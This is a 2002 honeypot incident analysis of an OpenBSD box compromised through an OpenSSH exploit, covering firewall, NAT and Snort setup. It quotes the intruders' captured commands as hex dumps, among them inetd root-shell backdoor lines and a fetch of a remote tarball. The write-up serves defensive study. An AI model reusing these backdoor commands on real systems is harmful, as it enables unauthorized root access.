Incident Analysis of Compromised OpenBSD 3.0 Honeypot
The Distributed Honeynet Project
http://www.2core.com/research/

Incident Analysis of Compromised OpenBSD 3.0 Honeypot
Michael Anuzis, July 2002

Introduction

This was the first honeypot I'd decided to run. I had long drawn out plans for implementing the perfect honeynet, but sadly some of the hardware donated to me at the time was given in non-working condition so I wasn't able to implement the honeynet of my dreams. It seems likely other people out there would be interested in running a sophisticated honeynet who also lack all the desired equipment and therefore think it cannot be done. This paper has been written to show you otherwise!

To make up for this lack of hardware, it seemed like a good idea to use an OS I am very familiar with. It just so happened a few recent vulnerabilities were just made public for the OpenBSD operating system, which just happens to be the UNIX-based operating system I am most familiar with. It seemed like setting up an OpenBSD honeypot was just meant to be. Many honeypots today tend to be Redhat Linux as it has a horrible track record for security. It therefore makes for a good honeypot since the goal is to get hacked. OpenBSD on the other hand is arguably the most secure networking OS available out of the box. It was created from the ground up with security in mind and went over five years without a remote hole in the default install... until now. Two major vulnerabilities have just been released that target OpenBSD. One of them targets the Apache Web Server (not enabled by default) and the other effects OpenSSH, which is enabled by default!

Recently scripts that make it simple to exploit both of these vulnerabilities were released on bugtraq making it very easy for even the most neophyte script kiddie to break into an unpatched OpenBSD installation. Unfortunately, that's just what happened here...

Contents

Introduction
Layout
The Rules
The Logging
Using Snort and ACID
Silent on the set, and... Action!
    A Background Check
Conclusion

Layout

This honeynet is a great example of how few resources need to be used to run a successful honeypot. The layout was very simple. One system running OpenBSD3.1 in the front acting as a firewall/IDS, and a private network in the back behind NAT. With web, e-mail, and a whole array of other services running on the gateway, I couldn't afford to bimap my single IP address to the honeynet to let all traffic pass through, making a more functional model of a honeynet (for those of you unfamiliar with OpenBSD's firewall, bimapping an IP provides the same functionality as setting a DMZ on a router). Instead, the honeynet was set up via a few simple port redirections in NAT.

The Pros of this layout:

The Cons of this layout:
The reason that access being very limited is in both a pro and a con is because although the environment is under greater control (pro) it means if the hacker tries to install a back door on the honeypot he/she will not be able to access it unless you forward a port there as well (pro/con), thereby restricting them from performing fun and interesting actions you can analyze at a later time (con).

The Rules

The rules from the OpenBSD gateway firewall that are relevant to the honeynet are available below with their respective comments:

Note: The first three rules must be placed before your default deny rule (if you have one).
Note 2: dc0 is the external interface

#clean up fragmented and abnormal packets
scrub in all

The above rule does exactly what the comment suggests, making it possible for snort and tcpdump to do a better job and not have to deal with fragmented packets the hacker may try using to make his/her activities harder to follow.
#honeypot ssh
pass in log quick on dc0 inet proto tcp from any to any port = 22 flags S keep state

The above rule simply specifies passing TCP SYN packets on port 22 from any address to any address through the external interface. It almost reads like English, right? The 'keep state' at the end specifies that after the SYN packet is passed the firewall should also allow the the TCP Three-Way-Handshake to occur and the established connection to take place. This helps prevent fishy traffic such as acknowledgement packets before a connection has even taken place.

#honeypot pass shell on 128
pass in log quick on dc0 inet proto tcp from any to any port = 128 flags S keep state

The above rule passes port 128. This was done because one of the two scripts publicly available at this time to exploit this OpenSSH vulnerability opens a root shell on port 128 instead of leading the user directly into a root shell on port 22. I wanted the honeypot to be vulnerable to both exploits so this port was passed.
#default deny
block in log quick on dc0 all

There is a very common rule to have on an OpenBSD firewall that doesn't directly effect the honeypot. It's only mentioned to show that it must come after the first three rules.
Finally, the rules that pertain to the internal interface; these may come after the default deny rule above:

###honeypot
#pass all from outside to honeypot
pass out log quick on dc1 from any to 192.168.3.100/32

The above rule simply says pass (and log) all packets that have successfully made it through the external interface's firewall rules to the internal network that are destined for the honeypot (at 192.168.3.100)

#pass syslog
pass in log quick on dc1 inet proto udp from 192.168.3.100/32 to any port = 514

This passes in syslog messages from the honeypot to the syslogd server set up on the gateway. Although this is not *needed* in this particular case because I'm passing everything later on, it's a good idea to add it if you set up your honeynet differently.
#block offensive traffic
block in log quick on dc1 inet proto tcp from 192.168.3.100/32 to any port = 111
block in log quick on dc1 inet proto tcp from 192.168.3.100/32 to any port = 22

The above two rules were put in place in an attempt to stop the hacker from using the compromised honeypot to scan/attack other hosts across the internet. Obviously there's a tremendous amount the hacker could still attack that doesn't run on port 22 (ssh) or port 111 (sunrpc), but I wanted to give the hacker the freedom to make outbound FTP connections so he/she could download a rootkit and give me something fun to analyze, the downside is this would allow them to download/run autorooters looking for vulnerable FTP Servers (and goodness knows they're out there). I also wanted to allow them to send DNS outbound so they would be able to specify their rootkit host by domain name instead of IP address, which seemed like it would likely happen, meaning they would also be able to set up an autorooter looking for vulnerable BIND servers... the chances were taken, and luckily the hackers (did you catch that s? Yes, now it's getting a little more exciting!) didn't do any of the above mentioned scans.
#pass in rest
pass in log quick on dc1 from 192.168.3.100/32 to any

Pretty self-explanitory. Pass everything else

NAT

The following rules were added to /etc/nat.conf to forward ports 22 and 128:

rdr on dc0 proto tcp from any to any port 22 -> 192.168.3.100
rdr on dc0 proto tcp from any to any port 128 -> 192.168.3.100

Simple as that!

The Logging

Four primary methods of logging were used:

PF: PF was logging everything that passed to/from the honeypot as can be seen specified by the rules in the section above.

Syslogd: Syslogd was set up to use bash keystroke logging, as can be done with this patch from the honeynet project. Unfortunately, the OpenSSH vulnerability runs /bin/sh, not /usr/local/bin/bash, and I was not able to successfully statically bind bash to /bin/sh without greatly sacrificing the functionality of OpenBSD's compiling features. Since I favored the thought of a hacker compiling a rootkit over getting an easy to read log of what commands were run, I left /bin/sh be and thus did not successfully get the recorded keystrokes in that fashion.

Tcpdump: Tcpdump was set running in the background on the gateway on the internal interface. This was done by simply running the following command as root:
# tcpdump -n -i dc1 -s 2500 -w /home/mike/honeypot/day1.dump host 192.168.3.100 &

Where syslog failed, tcpdump prevailed. Every command that was entered by the hackers was caught by tcpdump. It's interesting to note that even though it's the SSH daemon that's hacked, the connection that takes place is not via ssh, and so everything is in clear text. The tcpdump logs are available later in the report.

Snort: Snort was the backbone of the logging. While it didn't catch anything tcpdump didn't catch too, it organized everything in way that made it easy to tell exactly when the honeypot was hacked!

Snort was run with the following command:
# /usr/local/bin/snort -D -d -c /home/mike/hm/snort/snort2.conf -i dc1 -l /home/mike/honeypot

Note: it's possible to run snort on two different interfaces at the same time. Snort was still running
on the external interface (dc0) throughout the entire honeypot lifetime.

If you've got a good eye, you probably noticed the snort above isn't running the default 'snort.conf'.
To catch the traffic on the internal network, I created a whole new snort.conf file called snort2.conf by using the complicated method below:

1. cp snort.conf snort2.conf
2. Edit snort2.conf and add the following line near the beginning: var HONEYPOT 192.168.3.100/32
3. Edit snort2.conf and add the following line at the end: include $RULE_PATH/honeypot.rules

Obvious Note: Replace 192.168.3.100/32 with your honeypot's IP
This allows you to create a rule file called honeypot.rules that can contain rules dedicated towards logging all valid information headed towards your honeypot.

The honeypot.rules file I created and used is available here. Simply put, it logs all TCP traffic as "Honeypot TCP Traffic", it logs all UDP traffic as "Honeypot UDP Traffic", it logs all ICMP traffic as "Honeypot ICMP Traffic", and it catches the GOBBLES SSH vulnerability that was used to compromise my honeypot.

Using Snort and ACID

Snort is the IDS, or Intruder Detection System, which acted as the primary tool used in knowing when the honeypot was hacked. It was used in conjunction with ACID to make it easy for other members of the DHP to help me keep an eye on the honeypot so we could catch it as soon as possible after the initial compromise took place. ACID turned out to be extremely useful as it allowed me to jump in right in the middle of the hack and start analyzing the hackers actions through an easy-to-use web interface.

Here's an interesting shot of hacker #1 trying to restart inetd.

But wait a minute, what do we have here? The same hacker is trying to run a root shell as "httpd" from inetd! It's too bad this does not work, as we can see from this syslog message:

Jul 3 15:21:00 pufferfish inetd[10597]: httpd/tcp: unknown service

Oh well.

Silent on the set, and... Action!

It was a nice day. I had just finished a very enjoyable lunch when I decided to check in on the ACID console... to see that two hackers were attacking my honeypot at the same time!

Imagine, you've already checked your ACID console about 300 times today and seen nothing interesting every single time, it's the first day your first honeypot is up and you're beginning to wonder if it's going to get hacked anytime soon... when all the sudden you see something like this... Look out, it's on now! Who knows what kind of exciting things can be learned from this dynamic duo attacking your honeypot at the same time?!

Well the truth is... not much. The following is a list of the 11 different connections made by the two hackers. The lists were created with Ethereal's TCP Stream Follow function.

Connection 1

Hacker 1 logs in and looks around to see what's running.

Connection 2

Hacker 1 checks open connections and takes a seemingly pointless look around at files on the hard drive and their permissions.

Connection 3

Hacker 2 logs in and looks for tcsh and checks the open connections.

Connection 4

Hacker 2 looks at the fake website and begins to look for the real one.

Connection 5

Hacker 1 looks at inetd.conf, tries to edit it but can't due to terminal type, looks at some files in /var/log, checks the network interface and starts to ping the gateway. After the connection dies the ping continues and it was still hours later after I closed out the hackers and returned home.

Connection 6

Hacker 2 tries to backdoor inetd and checks netstat to see it's not working. He also creates a directory called "nn" in /usr/libexec and tries to use the fetch command.

Connection 7

Hacker 2 does just about nothing.

Connection 8

Hacker 2 does just about nothing.

Connection 9

Hacker 1 tries to retrieve a file called newnick.tar.gz from his site.

Connection 10

Hacker 1 tries wget and sees it's not installed, then tries lynx but sees he can't without a valid terminal type. Why can't he just use scp or FTP and give us something exciting to analyze?

Connection 11

Hacker 1 stops apache, tries to backdoor inetd, and looks for a *get program to get his newnick.tar.gz.

Some of the highlights include:

10 of these: EXPLOIT ssh CRC32 overflow /bin/sh
13 of these: SUCCESSFUL Gobbles OpenSSH challenge-response exploit
14 of these: GOBBLES OpenSSH challenge-response exploit attempt
And 29 of these: ATTACK RESPONSES id check returned root

The reason there were 29 ID checks was because the script they used automatically checked their ID every time they logged in again. The number was about double the number of exploit attempts because it was trigger twice for each time it happened. Once by the snort on the external interface, and again by the snort on the internal interface. There was also one instance where the first hacker manually checked their ID himself.

One of the hackers took particular interest in what the Apache server was used for. It's interesting to note that if he checked the IP he was attacking from his web browser he would see the actual web server running on the gateway, and not the one on the honeypot. Apache was also running on the honeypot for two main reasons:

1. To make the honeypot look like it was really being used for something.

2. To help take the attention off of the fact that syslog was running. This was more influencial when syslog was renamed and running as "screend" and /etc/syslog.conf was renamed to /etc/screen.conf to make it appear as though syslog wasn't running on the system. With 8 apache children and a honeypot user (idle for hours so as to not scare the hackers) running the real screen software making it look as though it's legitimate, hopefully the hacker would let something like 'screend -f /etc/screen.conf' slip their attention in the "ps aux" queries even if he/she did know that screen doesn't run like that!

The hacker's search for information on the website can be found here. It's interesting what length this hacker went to in search of information as to the honeypot's purpose.

Five attempts of binding a root shell in inetd were made:

Note: Attempts 2 and 3 appear to be more of a testing phase but on the same topic
Attempt 1:
0030: 159b 3526 2020 2020 2020 2f62 696e 2f6b ..5& /bin/k
0040: 7368 202d 6320 6563 686f 2022 696e 6772 sh -c echo "ingr
0050: 6573 6c6f 636b 2073 7472 6561 6d20 7463 eslock stream tc
0060: 7020 6e6f 7761 6974 2072 6f6f 7420 2f62 p nowait root /b
0070: 696e 2f73 6820 7368 202d 6922 2f74 6d70 in/sh sh -i"/tmp
0080: 2f78 3b2f 7573 722f 7362 696e 2f69 6e65 /x;/usr/sbin/ine
0090: 7464 202d 7320 2f74 6d70 2f78 3b73 6c65 td -s /tmp/x;sle
00a0: 6570 2031 303b 2f62 696e 2f72 6d20 2d66 ep 10;/bin/rm -f
00b0: 202f 746d 702f 780a /tmp/x.

But because these script kiddies had no idea what they were doing it didn't quite work:
0030: 060a 2347 696e 6574 643a 2069 6c6c 6567 ..#Ginetd: illeg
0040: 616c 206f 7074 696f 6e20 2d2d 2073 0a75 al option -- s.u
0050: 7361 6765 3a20 696e 6574 6420 5b2d 5220 sage: inetd [-R
0060: 7261 7465 5d20 5b2d 645d 205b 636f 6e66 rate] [-d] [conf
0070: 5d0a ].

A few attempts at installing backdoors:
Attempt 2:
0030: 159b 3595 6563 686f 2022 696e 6772 6573 ..5.echo "ingres
0040: 6c6f 636b 2073 7472 6561 6d20 7463 7020 lock stream tcp
0050: 6e6f 7761 6974 2072 6f6f 7420 2f62 696e nowait root /bin
0060: 2f73 6820 7368 202d 6922 0a /sh sh -i".

Attempt 3:
0030: 060a 2c8c 696e 6772 6573 6c6f 636b 2073 ..,.ingreslock s
0040: 7472 6561 6d20 7463 7020 6e6f 7761 6974 tream tcp nowait
0050: 2072 6f6f 7420 2f62 696e 2f73 6820 7368 root /bin/sh sh
0060: 202d 690a -i.

Attempt 4:
0030: 159b 35c4 6563 686f 2022 696e 6772 6573 ..5─echo "ingres
0040: 6c6f 636b 2073 7472 6561 6d20 7463 7020 lock stream tcp
0050: 6e6f 7761 6974 2072 6f6f 7420 2f62 696e nowait root /bin
0060: 2f73 6820 7368 202d 6922 203e 3e20 2f65 /sh sh -i" >> /e
0070: 7463 2f69 6e65 7464 2e63 6f6e 660a tc/inetd.conf.

Attempt 5:
0030: 159b 3cd8 6563 686f 2022 6874 7470 6420 ..<ěecho "httpd
0040: 2073 7472 6561 6d20 7463 7020 6e6f 7761 stream tcp nowa
0050: 6974 2072 6f6f 7420 2f62 696e 2f73 6820 it root /bin/sh
0060: 7368 202d 6922 203e 3e20 2f65 7463 2f69 sh -i" >> /etc/i
0070: 6e65 7464 2e63 6f6e 660a netd.conf.

One attempt at downloading an interesting file was made:
0030: 159b 3894 6665 74XX 6XX0 XXXX 6XXb 6dX1 ..8.fetch censored
0040: 6XXe XXXX XXXX 6XX0 XXXX XX2e 6XX2 6XXf d.censored.org/
0050: XX65 7XXe 6X63 XXXX 74X1 XX2e 6XXa 0a newnick.tar.gz.

Alert! censored.censored.org ... Could this lead us to the hacker? Very interesting!
After checking the website there and at www.censored.org, it wasn't too hard to find
the hacker's name/age/etc. Not a very smart hack indeed, but what can you expect from a 10th grader?
Note: Now you must say "It's possible someone else compromised censored.censored.org to use it as a
decoy!" but after looking at the hacker's website I have a strong hunch that
was not the case in this situation. Especially after doing a little more research
on the hacker's domain at google.com.

Unfortunately this didn't work as fetch wasn't installed on the system.

They managed to successfully stop the Apache web server:
0020: 8018 43e0 621d 0000 0101 080a 060b 8e29 ..CÓb..........)
0030: 159b 3ba2 6170 6163 6865 6374 6c20 7374 ..;óapachectl st
0040: 6f70 0a op.

0030: 060b 8e29 2f75 7372 2f73 6269 6e2f 6170 ...)/usr/sbin/ap
0040: 6163 6865 6374 6c20 7374 6f70 3a20 6874 achectl stop: ht
0050: 7470 6420 7374 6f70 7065 640a tpd stopped.

My guess is this was done because they thought Apache running was
conflicting with them running their "httpd" rootshell in inetd.
The fun had to be called off early as I had to leave to go teach a Wushu class only 17 minutes after I first realized the honeypot had been hacked.

To safely end the events and leave the honeypot in a condition safe for me to analyze it at a later time the following rules were quickly added to /etc/pf.conf:

#people to block
#hacker1
block in log quick on dc0 from HACKER.1.IP/32 to any
#hacker2
block in log quick on dc0 from HACKER.2.IP/32 to any

#honeypot ssh
#pass in log quick on dc0 inet proto tcp from any to any port = 22 flags S keep state

#honeypot pass shell on 128
#pass in log quick on dc0 inet proto tcp from any to any port = 128 flags S keep state

The first two rules were added to block the hackers from visiting the real web server at my IP and following the link currently on the front page pointing to the class I taught on 'OpenBSD and Network Security', giving them a very big hint they were on a honeypot, which I did not want to happen.

The 2nd two rules were previously there and commented out to prevent anyone else from hacking the honeypot so I could get back home later to analyze exactly what happened.

Important Note: Even after adding these rules it's very important to remember that your hackers connections will not be killed instantly as they are established and in the firewall's state table. You must run pfctl -F state to flush out all the state entries and kick their butts out for good (at least from those IPs)!

It should go without mention 'pfctl -R /etc/pf.conf' must be used to implement the new rules, and before the state flushing above to prevent the hackers from just logging right back in again.

Conclusion

Looking at the big picture it looks like a very successful first honeynet.

A few important things we can learn from this honeypot:

I hope you enjoyed reading this whitepaper as much as I enjoyed writing it!
This honeynet was inspired by The Distributed Honeypot Project

It's 1:59:46am EST. A honeynet like this is so simple in nature to set up that it was designed, configured from scratch, hacked, analyzed, and this paper was written, all within a 28 hour period. This is Michael Anuzis, signing off.